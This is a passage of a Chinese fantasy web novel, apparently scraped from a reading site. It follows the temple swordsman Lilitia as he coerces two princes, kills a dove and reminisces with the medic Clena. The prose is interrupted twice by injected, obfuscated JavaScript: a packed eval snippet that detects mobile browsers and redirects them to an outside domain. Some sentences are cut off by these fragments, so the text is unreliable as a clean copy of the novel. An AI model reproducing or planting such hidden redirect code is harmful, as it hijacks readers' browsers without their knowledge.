“说实话,我不在乎。”利利提亚说,“活着的人可以编造说辞,随便你们在剑上搞了什么花样,我都可以不追究。” “哈!你怕自己理亏不敢——” “科林。”三王子按住弟弟的肩膀,对利利提亚道,“你接着说。” 十七王子困惑地看着兄长,三王子抿着嘴,紧紧盯着利利提亚。 “我并不想在这里杀死您,多可惜啊,” 利利提亚似乎真的很为三王子伤感,“交给您这剑的,交给您那不尽不实情报的,许诺您无论发生什么都能无恙返还,甚至答应您权力和未来的——国王殿下,悉心为您编织了一个送掉性命的谎言。” “你少在这里胡说八道挑拨离间!”十七王子怒而大骂,“不过是什么月神的一个祭司,你怎么敢污蔑匹尔查斯高贵的王——” 他的话音止住了,感觉嗓子被什么看不见的东西掐住一般,身体无法行动,不受控制。 利利提亚站在他面前,低下头看他。 十七王子第一次正面和他对上视线,忍不住感到寒战。 这个总在笑的人,眼睛里没有一点笑的影子,未知而深邃,像故事里令人恐惧的大海。 利利提亚掐开他的下巴,看着他的嘴,口吻还算得上好声好气:“您知道吗,小殿下,拔掉舌头的死相会很难看,我见过很多次,但一点一点切掉舌头说不定会好些呢?您是不是也感到好奇?” 一阵恐惧漫上十七王子心头,他想向兄长寻求帮助,但三王子只是站在旁边,不发一言。 利利提亚捏了捏他的颌骨,像掂量一块石头,十七王子感到脸边一阵剧痛,尖叫声却无法发出。 利利提亚又向他低了低头,轻声说:“王权哪有资格和神权相较?” 他松开手,十七王子一屁股跌坐到地上,还在因为恐惧而颤抖。 三王子见他目光转回来,道:“你想怎么样?” “您这话真是,说得像我在要挟您呢!”利利提亚摇头,走到他面前,打量着三王子的眼睛,“我是真的觉得可惜,在权力斗争中争不过自己的亲生兄弟们,被赶到偏远领地,以为自己真的还有什么可能。 “把别人当成棋子计算,最终发现自己才是棋子——多可悲啊。” 三王子抽动眼角,没发出声音。 “而您如果死在这里,这一生就只是彻头彻尾的悲剧了。”利利提亚低声说,“当然,如果您真有什么家国大义之心,非要死在这里抵一个荣耀的名头啦,我不好拦你。 “他们已经把你当做一个诱饵和牺牲品,你这时候活着回去,恐怕也不会好过,但那又怎么样呢? “你还有自己的领地,王子的身份还没被褫夺——搏一把或许将来未可知,好过在这里必死的结局。我还真有点想看一看呢。” “……你想骗我回去和他们两败俱伤。你怕我死在这里,他们有由头对神殿开战。” “不,做什么选择是你的自由,”利利提亚笑着说,“哪种结果我都乐见。” 他没在撒谎。 三王子因为恐惧下意识避开了他的眼睛。利利提亚眼里没有一点犹疑的缝隙。 “请做决定吧,我等的时间有点长了。” 三王子咬了咬牙,硬撑着对上他的视线:“我要回去。” “好。”利利提亚绽开笑颜,拍了拍手,“我们达成一致了,请放心,不过是发生了一点微不足道的争执,这事揭过了,神殿一定不遗余力地帮助您安全回国。 “您弟弟——看起来不太好,要把他送到神殿外候着的随从使团那边吗?” 三王子看了弟弟一眼:“不用了,他跟我在一起就好。” 利利提亚点点头,向远处的信徒勾勾手指:“奥尼尔,带王子殿下去会客厅。外交部的成员会和您好好商议,关于归还我们的使节和您的领地降雨,还有其他您想要咨询的‘国内问题’。还有,关于您的护卫——” 广场远处,在他们谈话的时间里,因为剧痛短暂昏厥的多里克已经苏醒过来,他体格很好,虽然受了重伤,但仍有生机。 三王子看了多里克一眼:“随你怎么处置。” 利利提亚笑道:“请放心,一定让他随您回去。不过是断了一条手一条腿——” 奥尼尔赶到利利提亚身边,跟他一起过来的克蕾娜却毫不停留,径直与他擦肩而过,冲向广场上的多里克。 眼看争执结束,月神神殿和匹尔查斯没有落到撕破脸的敌对地步,提心吊胆担心着每一分每一秒流逝会错过救治时机的克蕾娜一直焦灼地观望着伤者,这时终于确定她可以救这个人,毫不犹豫地冲过去确认多里克的伤口,脑子里盘旋了半天拼起断肢的理论。 多里克刚从剧痛愤怒和茫然惊惧中醒来,分不清四下状况。 克蕾娜更担心他无端活动加剧失血,想先用法术稳定他的伤口,又怕靠近他让伤员慌乱,蹲在他附近着急道:“冷静点!已经停战了,你现在意识还清醒吗?不要乱——” 没有分清状况的多里克只见穿着神殿衣服的女性靠近自己,恼怒地一把推开她。 他虽然受伤,力气仍然很大,克蕾娜没料到他甚至越出安全范围主动攻击自己。 蹲的姿势本不够稳定,一推之下重心倾斜,就要向后栽倒。 克蕾娜没有摔倒。 但一丛血花在她面前爆开,血点溅到她白色的衣服,有血珠从她脸颊顺着颌线流下来,滴到衣襟上。 一把匕首在她面前直直刺穿了多里克的右手,深深钉进地面,痛感让他的手臂都痉挛。 克蕾娜的心脏停跳了一瞬间。 “对我们的医生放尊重点。” 克蕾娜没有摔倒。有人扶住了她的背,俯下身来,声音和气息一样是凉的。 利利提亚冰冷地说:“下一个不想要的是右手,还是脑袋?” 多里克的面孔因为痛感而扭曲,却安静下来。克蕾娜有一刻担心他就这么死了。 “没事吧,克蕾娜?”利利提亚的声音缓和了许多,轻声问她。那声音让克蕾娜回过神来。 她垂下目光,手撑在地面上,稳定了自己的身体:“……谢谢您。我没事。” “没事就好。”利利提亚放心地笑了笑,收回扶住她的手,又歉意道,“抱歉,给你添麻烦了。” “您客气。” 利利提亚拔出匕首,又溅出一丛血点。 多里克已经没什么动静,克蕾娜去按住他手上新开的伤口,用法术为他止血。 利利提亚提着匕首,转身走回去,将它拍到奥尼尔手上,奥尼尔方才发觉他刚才抽出了自己腰上的刀。 “等会儿洗一下。”利利提亚淡淡道,又向三王子一笑,“失礼了,殿下,我身上沾的血太多,不好进会客厅,得先去换身衣服。请跟我们的使节走吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441451|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他又回过头,嘱咐奥尼尔:“叫几个人帮医生把伤员抬去医务室。” 下面的喧闹开始收场。站在后方一直一言不发的荷尔贝拉忽然说:“女巫殿下,我还有一些其他工作。如果您这里不需要我……” 艾玛向她挥挥手:“哦,没事,你忙。” 荷尔贝拉向她行了一礼,匆匆走了。 西里斯看着荷尔贝拉离去,说:“很松散。我还以为他们给你指派监察骑士,有监视的意思。” “是吧。”艾玛说,“贝拉人很好,还会跟我分享她喜欢的故事。” “看了这么久,累了吗?”西里斯道,“如果没有影响到食欲,我陪你去餐厅?” “好啊。”艾玛对于西里斯陪自己用餐这件事更在意,心情显然好了点,刚刚的场景似乎没对她产生什么影响。 但她看看西里斯的表情,又思考了一下,“你一直不建议我用暴力手段解决问题,是因为你不喜欢这种方式吗?” 西里斯沉默一下,道:“因为这不是‘正确’的方式。我本来希望你有更普通的善恶观……算了,世道也不好。 “解决问题的手段有很多,不同的方式会得到不同的结果,而一旦依赖暴力,思维容易变得单一。我希望你有更多选择。” 艾玛点头,一边走一边想了想:“那刚才那个人——那个‘利利提亚’呢?我觉得他的处理方式还挺厉害的,但我好像学不来。” “你们不一样,没什么好学他的。” 艾玛有点遗憾:“我没法像他说得那么多……而且,在沙漠旅行的时候,别人好像都不把我的威胁当回事。是年龄?性别?外表上的问题?” “是演技。”西里斯说,“你不会演戏,也没必要学。” “他刚刚在演戏吗?”艾玛惊讶。 “是啊。”西里斯移开目光,“只是不知道,哪一部分是演的,哪一部分是真的。” 利利提亚穿过走廊,夕阳倒进廊上的窗口,穿过高大的树木,投下斑驳的影子。 影子中无声无息跟上一个人,远远缀在他身后沉默。 利利提亚没有回头,冷冷地说:“你不是该在女巫殿下身边吗,跟我来做什么?” 荷尔贝拉犹豫一下,低声说:“我担心您……” “我有什么可担心的?”利利提亚冷笑。 荷尔贝拉又不说话了,仍然只是跟着。 利利提亚活动着手指,反复握成拳,又松开,不断重复着动作,他的声音逐渐变得焦躁:“啊啊……好烦躁,真不舒服……明明有机会……真该直接杀掉的。 “因为没杀成,还不温不火地活动了一下身体,反而更烦躁了。在这里又不能随便杀人,好麻烦……” 他走得越来越快,穿过背阳处无人的连廊,突然停下脚步。荷尔贝拉跟着他刹住。 “嗯?”利利提亚看着楼前的树上,有一只鸽子停在那里,正望着他一般。 他诧异地挑眉,向鸽子伸出手,那只白鸽居然真的扑棱棱向他飞过来,停在利利提亚掌心上。 利利提亚歪过头,鸽子也歪过头,仿佛在和他互相打量。 “真奇怪。”利利提亚说,“它们大多都很怕我来着,今天我身上还沾了这么多血。” 他望着鸽子,白鸽也用红色的眼睛打量他。 利利提亚对鸽子说:“你从我身上看到了什么呢?” 利利提亚金色的橄榄枝头饰在浓烈的夕阳阴影处呈出一种近黑的颜色。 荷尔贝拉看着他的背影,忽然想起多年之前,罗穆卢斯的运动会刚结束的午后。 记忆里的景象被镀上一层柔软的金光。 利提亚坐在书桌上,举起他被授予的剑术冠军的桂冠,远远从环中的空洞观察书房,像透过一架新颖的望远镜打量什么。 他突然冷不丁说:“你知道吗,贝拉?很多人分不清橄榄和月桂的区别呢。” 荷尔贝拉忘了她回复了什么。 无关紧要。她向来也不会多说。 “象征和平的橄榄,和代表胜利的月桂,截然相反的东西,却有人觉得它们差不多——这不是很好笑吗?” 他嗤笑了一声,从书桌上跳下来,随手把月桂冠扔在桌上,开门出去了。 利利提亚猛地收拢手心,鸽子在他手中爆开一阵血雾。 生机在他掌中挣动了一下,就迅速流失了。 荷尔贝拉垂下眼睛,什么都没说。 利利提亚松开手,鸽子的尸体从窗口坠落下去,掉进树丛的阴影里。 他转身走开了。 98.幕间-《借口》(1) 好苦的酒。 克蕾娜端着酒杯,皱了皱眉。 又苦又辣、酸里带甜,不知道是什么水果酿出来的,混合试作品? 她不太喜欢喝酒,那种脑子昏沉的感觉让人不舒服。 再不称职的贵族也勉强是个贵族,克蕾娜参加过的宴会酒席并不少,好在当时年纪小,只是父母偶尔在过节时让她尝一点试试。 虽说酒精对人体也有些许好处,但克蕾娜仍然觉得不如喝点热姜茶。 宴会桌上很热闹,堆满的果盘只陷下去一小块,面包、烤鸡、蔬菜间错落地摆着高高低低的酒瓶,欢声笑语中时不时传来杯盏碰撞的声响。 阿瓦托芬的丰收祭有许多庆祝活动,街头巷尾都沉浸在秋天的喜悦里。 忙完祭典仪式,神殿内部的职员间也有点特殊项目,例如这种常规的庆功宴席。 阿瓦托芬的女性住民占了七成,这个数据分布在神殿的各部门中也很实在。 医疗部规模不大,被巡防营里相近的部门拉来一起摆席,桌宴上的守卫们也大多是女性,但推杯换盏仍然叫那一个热闹,不比克蕾娜过去在父亲家那边酒桌上的男性亲戚冷清。她倒希望冷清点。 克蕾娜拧着眉又喝了一口那难喝的酒。 由于月神魔力性质的缘故,她以为信仰月神的人都更内向点,没想到跟她同部门的几个平时看起来挺文静的前后辈,多喝了两杯笑声就大得隔着三个桌她都听得清楚,有一个还站到桌子上跳舞。 酒精害人。希望她明天清醒之后不要羞愧到不想来上班。 克蕾娜酒量还行,但不想有喝多的风险,虽然她相信自己喝醉了也不会上桌跳舞。 她从桌上的酒瓶里挑了个度数最低的,难喝是难喝了点,还算能接受。 隔壁桌一支巡查队的小队长端着酒笑着过来拍她身边人肩膀,说:“利利提亚,你怎么不说话呀,我看你净顾着吃了!碰一杯?” 克蕾娜挪过视线,看见利利提亚刚放下插着鸡翅的叉子,拿起自己的酒杯跟对方碰了碰。 小队长喝了一口,无奈道:“哎,你来神殿也有一年多了,过来就捡着克蕾娜身边坐,是还怕生吗?” 克蕾娜控制了自己翻白眼的冲动,知道小队长八成是喝多了。信利利提亚怕生还不如信克蕾娜能把她的酒杯吞下去。 利利提亚听了,似乎有些羞涩地一笑,笑得克蕾娜很想走。 她也很想知道利利提亚为什么非得捡她身边的位置坐,唯一想得出的解释是这小子成心膈应她。 好在喝多了的人不讲究逻辑性,小队长没追究没得到答案的问题,只是接着絮絮道:“虽然你不是我们小队的,但大家都是巡防营的人,有什么问题也可以跟我讲,能帮的咱一定帮! “你出身那么远,还因为信仰跑到这儿来,为这份心,我敬你一杯!” 克蕾娜心说这姐们不是来跟人寒暄的,纯是来跟人拼酒的吧,三句话劝利利提亚喝两杯。 她往小队长那桌看了看,桌上还真趴下了两个。 小队长捞起最近的酒瓶,看也不看就往自己和利利提亚酒杯里倒,倒完自己跟桌面的杯子一碰就开始喝,一口下去就咋舌。 利利提亚拿起自己那杯喝了,咳一声,抵住嘴晃了晃,突然往克蕾娜身上倒。 克蕾娜被这碰瓷的架势惊得差点直接站起来。 但利利提亚已经把重心倾到她身上了,她还不至于直接让他摔了这么缺德,便扶着他肩膀把他推起来。 “怎么,醉了?”小队长声音里难掩失望。 克蕾娜心说果然只是来喝酒的。 她看了一眼桌上离利利提亚最近的酒瓶,度数高得吓人,这不醉谁醉啊。 利利提亚半晌终于说了话:“唔,好像是。” “是吧……啊你脸好红,”小队长愣了一下,拍拍他额头,“额头怎么这么凉?” 额头凉八成跟喝酒没关系,这小子体温就没高过。 隔着两层衣料,克蕾娜仍然觉得扶着他肩膀的手心发凉。 “应该是喝多了,有点难受。”利利提亚说。 “哎呀……真是,要不要紧?不舒服就别硬撑啊,不然早点回去。” 利利提亚嗯一声,转过有点迷蒙的目光,动一动身子好像又要往克蕾娜怀里倒,克蕾娜赶紧给他撑着了。 利利提亚搭上她手腕,声音因为酒后的昏沉蒙上一层沙沙的低哑:“克蕾娜……能扶我回去吗?” 这是真喝多了? 她对利利提亚信任值很低,这时仍不免生出一点担心。想了想,对附近看过来的同桌同事道了句抱歉,便起身准备把他半扛半推回去。 小队长还多问了一句克蕾娜会不会背不动,要不要另外找个人帮忙。 克蕾娜觉得肩上手臂的重量还行,利利提亚也还站得稳,便道没事。 小队长就不问了,晃晃酒瓶向他们告别,似乎觉得刚才那瓶烈酒不错,顺手牵走去祸祸下一个同事了。 克蕾娜走出宴会场,低声问旁边的利利提亚:“喂,真醉了?” 利利提亚嗯一声。 她皱眉:“哪里不舒服?要解酒药吗,医务室那边有。” 利利提亚又嗯了一声。回答约等于没回答。 克蕾娜寻思还是去医务室一趟算了。 早说酒精没好处,就算是利利提亚,喝多了也这个样。 夜晚走道上人少,医务室的方向更是几乎没有人迹。 丰收祭期间值夜班的不多,走半天连路上巡逻的守卫都只碰见两批。 克蕾娜走着走着,越走越觉得身上变轻了。 她怀疑地转过头去,看见刚才还摇摇欲坠般的利利提亚已经差不多站直了身子。他比克蕾娜高不少,要保持那个手臂搭在她肩上的动作,怎么都得迁就下姿势。 利利提亚见她看过来,眨了眨眼睛,蓝色的眼睛里正好装进星光,亮得很好看。 克蕾娜撂下他胳膊就抬腿踹他一脚:“丫的又装!” 利利提亚举起双手认降,转过身子避开她的踢击:“消消气消消气。” “自己想走就走,又不是没腿!怎么还得叫我给你当拐杖!” “你不是也不想待在那儿嘛。”利利提亚说,“反正都要走,捎给你一个借口正好吧?” 克蕾娜确实觉得那里太吵闹了些。 她不喜欢宴会,不喜欢社交,不是为了尽到职责身份上的义务,她一点都不想在这类场合多待。 “想不想走我自己能决定,用不着你多事。”克蕾娜还是因为被猜中了觉得不爽。 “好好好。”利利提亚打了个哈欠,“你要是还想接着参加,等会儿回去跟他们说把我送到了就行。” 克蕾娜翻白眼:“出都出来了,还回去干什么。” 她停了两秒,仍然有点在意:“你的脸确实很红。真没事?” “体质关系,我一喝酒就容易脸红。很方便吧,用这借口躲掉过不少麻烦。” 利利提亚吹了口气,“我还没喝醉过——也不想喝醉。稍微喝多一点,就有那种身体和意识脱节的感觉,这很不好。我对自己身体的自控力没那么有信心。” 克蕾娜挑眉:“怎么,你喝多了也会跳舞?” “哈哈,比那麻烦得多吧。”利利提亚笑着道,“不过我还挺擅长跳舞的,下次要请你一起吗?” “不了,我跳不好。想找你跳舞的人能排队,你还怕自己没得忙?”克蕾娜耸肩,“再说,容易被别人误会。” “嗯——误会什么?” “别装傻,”克蕾娜啧一声,“我跟同事要上上下下解释无数遍,‘我没在跟你交往,以前没有,以后也不会有’,他们还用意味深长的眼光看我。 “真是,早知道还不如说什么我是你三代以内的血亲让他们断了念头……啊——烦死了,笑什么!” 利利提亚说:“你担心被误会吗?” “废话,谁想被误会根本没有的事。” “我倒是经常碰到希望被误会的人,”利利提亚微微弯起眼睛,酒后脸上的红晕淡了些。 他偏过头的角度在月光映衬下晕染出柔和甚至专注的颜色,好看得让任何想拒绝他的人都要迟疑,“你想被误会吗?” 克蕾娜言简意赅地给了一个字:“滚。” 利利提亚笑起来。 这样的话放在别人身上叫自恋,放在利利提亚身上只能说是有较为清晰的自我认知。 克蕾娜有点郁闷。不仅为他气人的态度,还为自己刚才那一瞬间确实有所变化的心跳频率。 利利提亚走在她侧前方半步的位置。夜晚静谧而自在,只有夜风吹过来。 克蕾娜感到他心情很好。 看着利利提亚的时候,克蕾娜仍然时不时会想到罗穆卢斯。 她一直都无法理解。在克蕾娜看来,尤利乌斯·利提亚是贵族游戏的胜利者,他适应得太好,以至于那里的规则都像为他量身定制。 而克蕾娜很清楚,她是那规则下的失败者,因为无法适应才选择了逃离。 在和利利提亚说话的某些时间,克蕾娜仍然感到一种怪异的割裂,像一阵难以言明的异样触感萦绕在心口。 利利提亚突然看向她说:“我看你刚才吃得不多,有吃饱吗?” 克蕾娜回过神,皱眉:“谁像你吃得那么多。我吃那些就够了。” “哦,那就好。” 克蕾娜和利利提亚有时会一起吃饭,对此最大的印象不是“不愧是尤利乌斯家精心培养的继承人,用餐礼仪这么标准”,虽然她最初以为自己会这么想。 实际和他一起吃过一次之后,克蕾娜的印象只剩下“我靠这小子怎么吃得这么多”。 克蕾娜不算很挑食,在兼顾健康饮食的层面上还是有自己的口味喜好。 利利提亚则什么都不挑,相对更偏爱肉食一点。 刚才小队长还问利利提亚怎么不说话,很简单的道理,优雅的动作和进食的速度是互相妨碍的,再说太多他就来不及吃了。 “我以前可没听说过你有这么好的胃口。”克蕾娜说。 “以前”。 她没点明是什么时候,但利利提亚知道她的意思。 “在宴会上大吃大喝很影响形象,作为家族的继承人,肯定是不被允许的。基本上都是宴会前先吃点,有时候没来得及,得空着肚子跟人摆笑到酒席结束呢。 “席上的食物看起来都不错,但是只能看不能吃,很可怜吧。”利利提亚对克蕾娜露出了“求同情”的眼神。 克蕾娜抽了抽嘴角:“呃,嗯,好吧……不容易。我以为你适应得蛮好的。” “贵族的规矩都是为了做给别人好看,不是为了让活人过得舒服的。”利利提亚摊手,“阿瓦托芬就好多了,没那么多约束,轻松了不少。” 克蕾娜张了张口,想说的问题却最终没问出来,绕了个弯变成玩笑的说法:“你不会为了能在宴会上吃饱才来阿瓦托芬的吧?” “说不定呢。”利利提亚道,“要是知道还有这样的好处,我说不定早几年就跑了。” 喉咙里哽着什么东西。但是太尖锐又太沉重,不是这些像气泡一样轻飘的对话所能承载的。 克蕾娜无法形容它的形状,更无法将它吐出。她不想去看气泡被刺破后得面对的东西。 “真没出息。”她说。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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尤利乌斯·利提亚对当时的克蕾娜而言,只不过是她在那些遥远传闻里听过太多次,最多单方面见过一两回的,有几分熟悉的陌生人。 她不喜欢这个人,说不清理由,但也不需要理由。 所以一开始,她对于“利利提亚”的出现感到无所谓。 克蕾娜不想跟利利提亚扯上关系,但也没有打算刻意避什么嫌。 于是利利提亚第一次来到医疗部那天,同事跟她说巡防营有几个新人打了架,其中一个银色头发,长得还挺漂亮的,跟克蕾娜有点像。 也就是阿瓦托芬的人没怎么见过银发才会这么认为,克蕾娜可觉得他们长得一点都不像。 医疗部有好几个门诊分区,日常值班医生不多,给利利提亚治疗的当值医生突然心悸发冷,同事便过来问克蕾娜有没有空帮忙。克蕾娜随口就答应了。 她走进诊室,利利提亚已经坐在检查桌前,原本值班的同事去其他房间休息了。 克蕾娜在他对面落座时看了一眼他的脸,确实漂亮。 她想起利提亚的母亲,奥古斯塔·杜路莎夫人,现任奥古斯塔家主的长姐,直系中的直系。 她在罗穆卢斯的时候见过杜路莎夫人几次,还跟她说上过话。 那是位令人尊敬的女士,抛开外界所有的赞誉与评判,克蕾娜很喜欢她说话时柔和的音色。 人们都说利提亚长得很像他母亲。或许吧,克蕾娜记不清她的脸了。 她公事公办为利利提亚检查伤口:不是什么大伤,利器在手臂上划了道口子。克蕾娜用酒精清理过,用治疗魔法轻松地帮他合上了伤口。 利利提亚提到他腰上也被划了一下,站起身,拆开衣服便于她检查处理。 利利提亚身上很干净,没有其他疤痕,只有腰上有道新创的口子,渗出的血已经凝固了。 尤利乌斯家当然不缺擅长治疗魔法的优秀医生,克蕾娜不意外他身上没有伤疤,只是对于利利提亚会在这里受伤这件事本身感到意外。 她那时候仍然是嘴比脑子快的直线思维,帮他擦伤口的时候顺口就说:“没想到你会受伤,以前剑术比赛上,你是无伤全胜的。” 空气停顿了两秒,利利提亚说:“因为他们伤得比我重很多,要是我一点伤都没留,太不礼貌了吧?” 克蕾娜听懂了他指的是跟他一起被送来的巡防营的新人,她路过附近诊室的时候看过两眼,三五个全都横在床上,不像眼前这人能站能坐,气息稳定:“你现在就礼貌吗?” 利利提亚笑了笑,问:“你认识我吗?” 克蕾娜觉得实话是最直接的答案,没想掩饰:“我原来是奥古斯塔家的旁系,看过你的比赛。如果你不想被人提以前的事,我撤回。” 克蕾娜对待他的伤口比对他本人更专心,说话时头都没抬。 利利提亚说:“我确实不喜欢‘以前’这个话题。” “行,不好意思。” 利利提亚又问:“你没有觉得给我治疗的时候有什么异常的感觉吗?” 克蕾娜疑惑地抬头,有一种觉得这人是不是太把自己当回事的不耐:“什么问题?” 利利提亚盯了她几秒,微笑起来:“没事。” 他的伤口很好处理,克蕾娜甚至觉得这套过程有点小题大做。 治疗完,利利提亚理好衣服,克蕾娜收拾了用具,就准备去隔壁看看其他几个倒霉蛋到底伤到什么程度。 “阿瓦托芬没有姓氏,就当我们是第一次见面吧。”利利提亚叫住她,说,“你好,我叫利利提亚。” 克蕾娜已经在门边站住了,这时候再装没听见直接走掉就太刻意:“……克蕾娜。” “好的,克蕾娜。”利利提亚微笑着说,“很高兴认识你。” 99.幕间-《借口》(2) 很明白的事,克蕾娜最初想,巡防营很大,医疗部虽然和它同属神谕祭司管理,关系也密切,但毕竟是两个部门。 利利提亚又无可置疑是个厉害的剑士,不会那么容易受伤,就算碰见一两回,也不会次数太多。 但他刚到巡防营那三个月,访问医疗部的回合却实在不少。 最频繁的时候上午刚来过,下午又来了,且都不是空手,每次都贴心地带着一至多个在和他练习中受伤的队友,人数伤情不等。 克蕾娜和利利提亚大眼瞪小眼,说:“你有病啊?” 利利提亚举手发言:“我这次没受伤。” 最初和别人对练的时候,利利提亚会“礼貌性地”挂两道彩,次数增多之后,就懒得再装出受伤的姿态了。 虽然他受不受伤都不能让克蕾娜对他的脸色好看一点,在这方面上的待遇是没什么区别。 这一串事件的起因,说来也很常见。 刚入军营的新兵容易被排挤,在哪里都一样。 神殿的巡防营在住宿区上分男女,平时训练、编队则混在一起,没有稳定下来的新人尤其多有变动。 利利提亚是外来人,外形和气质上都引人注意。自然有看他不顺眼的,发生了些矛盾,在训练场上打起来,结果就都被送来了医疗部——也就是克蕾娜和他的第一次见面。 克蕾娜说:“等一下,新人间发生矛盾受伤的事时不时有,但基本都是一对一,巡防营的人都是有规矩的,你那天怎么回事?嘴欠到逼他们打群架?” 利利提亚说:“没有呀。只是他们一对一绝对赢不了,我就说你们一起上吧。” 克蕾娜:“你闭嘴。” 巡防营中对新人有“一旦发生过流血冲突就要改换分组”的保护措施,第一次打斗的事端为利利提亚传开了名声,他的分组还没排出新的,就有人慕名前来比试,于是毫不意外就又来了医疗部。 这后来的医疗部拜访事由差不多都是这类。 甚至在利利提亚的荣誉挂彩对手中有出现过祭司级的队长,这位尚武的队长爱才心切,被抬着进来还着急跟人解释不是利利提亚的问题,是自己要跟他比试的,还遥遥跟陪着他来的利利提亚大比拇指:“你很不错!” 克蕾娜说:“他有病吧。” 就因为这样的原因,利利提亚新人时期改换分组的速度比不上他跟人比试出事的速度,结果隔了很久才最终换成。 而事发地点的训练场旁边最近的医疗门诊区是克蕾娜的值班分区,两人明明不是一个部门,却有好一阵子过出了低头不见抬头见的风采。 值班医生不止克蕾娜一个,但给利利提亚治疗的医生很容易出现心悸、冷汗甚至噩梦等症状,只有克蕾娜毫无感觉。 利利提亚对此的解释仍然是:体质问题,一直如此。 医疗部的检查没什么结果,便放任了。 所以就算不是克蕾娜的值班时间,利利提亚也会带着伤来找她,乃至后来比试并没受伤,把受伤的对手送到后也会过来找她。 见面一频繁,熟悉度就上去了,克蕾娜很难回忆起他们开始变得熟络的清晰节点。 或许是因为三天在医疗部见到利利提亚四次之后真有点崩溃而骂出了口,遂被利利提亚跟随一下午直到确认她消气; 或许是在以“麻烦了克蕾娜给他治疗”的由头请她吃饭,逐渐开始觉得利利提亚跟她的想象不同; 还有在诊室和她待在一起,等利利提亚送来的人治疗结束之前,因为太多共处的时间而零零碎碎讲了太多没用的废话之后。 利利提亚聪明,漂亮,能说会道,礼貌也有修养,原本就不容易惹人生厌。 而对克蕾娜来说,熟悉之后,利利提亚在她眼里的形象已经从“完美无缺的优等生范本”变成了“会钻空子,会强词夺理,会犯错但也会补救,又聪明得知道怎么为自己博得心软和原谅的优等生”。 他身上那些让人牙痒的狡黠,散漫和随性的部分,却同样真实而鲜活,克蕾娜其实不讨厌这种地方。 看着现在的利利提亚,克蕾娜忍不住想到,她从来不真正了解那个尤利乌斯·利提亚,她所听过的只是那些遥远而饱受加工的传言,并从中确认了一个那样的印象,这对他来说实际并不公平。 只是偶尔,克蕾娜还是感到一些难以形容的不安。 她问利利提亚:“你下手就不能轻点吗,非得次次把人打来医疗部?” 利利提亚无奈道:“比试嘛,有明显的胜负才能定输赢,我力道控制得不太好。” 克蕾娜其实不大相信,但医疗部有治疗魔法在,巡防营的人比试时确实会少点顾忌,其他比试对手也没对利利提亚下手的轻重提出过疑义。 问题不在这里吗? 克蕾娜想,那么她心上那种模糊的阴影到底是什么呢? 医疗部的办公室多是一人间,克蕾娜那时虽然资历浅,但也有个人的办公室,只是比后来的要小上不少。 克蕾娜在罗穆卢斯时并没有诊断过多少病人,父亲在赘入奥古斯塔家后辞掉了民间诊所的工作,平民的工作被家族里的人认为不体面。 他有时会上门给家族里近或不近的亲属诊治,克蕾娜常常跟着去,在旁边给父亲搭把手一边看着。 但贵族家庭里大多都有专属的家庭医生,这样的机会并不多。 父亲有时会叹息因为实践经验越来越少而手生,克蕾娜也有点可惜,为父亲虽然喜欢却不能继续自己想做的工作。 但克蕾娜对医学的喜爱让他很欣慰,把那些无处可去的对医学的热情都寄托在了女儿身上,将自己生平所学倾囊相授。 克蕾娜的父亲并不会治疗魔法,但他是个技艺精湛的好医生,个性耐心稍嫌古板,克蕾娜觉得这对医生来说是不错的个性,可惜她性子随母亲,至今是个急脾气。 她初到阿瓦托芬的时候手忙脚乱了一阵子,像个空有满腹理论知识却无实践经历的书呆子。 但带她的前辈很耐心,也很欣赏她对医学的热情和学习研究的毅力,教了她不少实用经验。克蕾娜后来跟那位前辈关系仍然不错。 离开了家族后,克蕾娜在治疗魔法上的出众天赋不再需要掩盖,度过新手期就很快如鱼得水起来。 顺利的工作带来了升职的机会,不久克蕾娜就开始为祭司考试的事发愁。 有特殊职衔的祭司不论,神殿的普通祭司按职业分有几个门类,由高到低分为一二三共三级,任何神殿中的职员都可以考取,只要通过笔试和相应的实践操作。 克蕾娜考的是医疗祭司的分类,实践操作她不愁,就是笔试实在麻烦,还涉及到信仰法规等方面,对于她这样不够熟悉当地文化的外来人就很为难。 她午休时在办公室一边学习一边做笔记,来串门的利利提亚坐在桌对面折她撕下来的废纸玩,克蕾娜看得火大:“你不考祭司吗?” 利利提亚侧过眼:“哦,那个不难啊。” 优等生!克蕾娜因这份余裕更火大了。 利利提亚后来换了分队,见过他比试现场的人多了之后,再有好奇心找他试一试的就少了。 巡防营的队长们抢着要他,升职大概早晚的事,唯一的阻 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克蕾娜隐隐觉得他虽然擅长,但并不喜欢与人交往。 或许因为这样的交际特征,克蕾娜是少有明显不在利利提亚工作密切联系范围内,却又跟他走得很近的人。 理所当然有不少人误会他俩的关系,或含蓄或直接地问他们是不是在谈恋爱。 克蕾娜第一次被这么问的时候大为震撼,三秒内脑中闪回了无数有关人生和宇宙的哲学,开始思考自己在何时何地,是怎么样一个存在形态,才会让人有这种误解。 最后只能茫然困惑而谨慎地回复一句:“没有啊?” 克蕾娜对什么类型的八卦都不感兴趣,直到很久之后才慢慢接受这些“真假难辨、跟大多听众没什么关系的传闻”是社交生活中不可缺少的一部分,乃至接受自己无事发生也可能成为别人八卦中的一部分这种令人震撼的事实。 在得知这种误解后,克蕾娜看利利提亚的眼神顿时犀利起来,上上下下像剜了他几十刀。 利利提亚终于问:“我得罪你什么了吗?” 克蕾娜转达了传言,利利提亚显得很淡然:“诶,我早被问过可能十次还是八次了。” 克蕾娜说:“你要是敢回答‘是’我就把你头拧下来。” “真不像医生会说的话。”利利提亚耸肩,“不会撒那种谎的,你对我完全没那种意思。克蕾娜很好懂嘛。” “好懂你还看不出来我讨厌你?” “我猜有那么一点,”利利提亚用手指比划了个很小的一点点,笑道,“但你也不是真的讨厌我。” 他说得很自信,克蕾娜又为这份笃定而火大:“你觉得耍我好玩?” 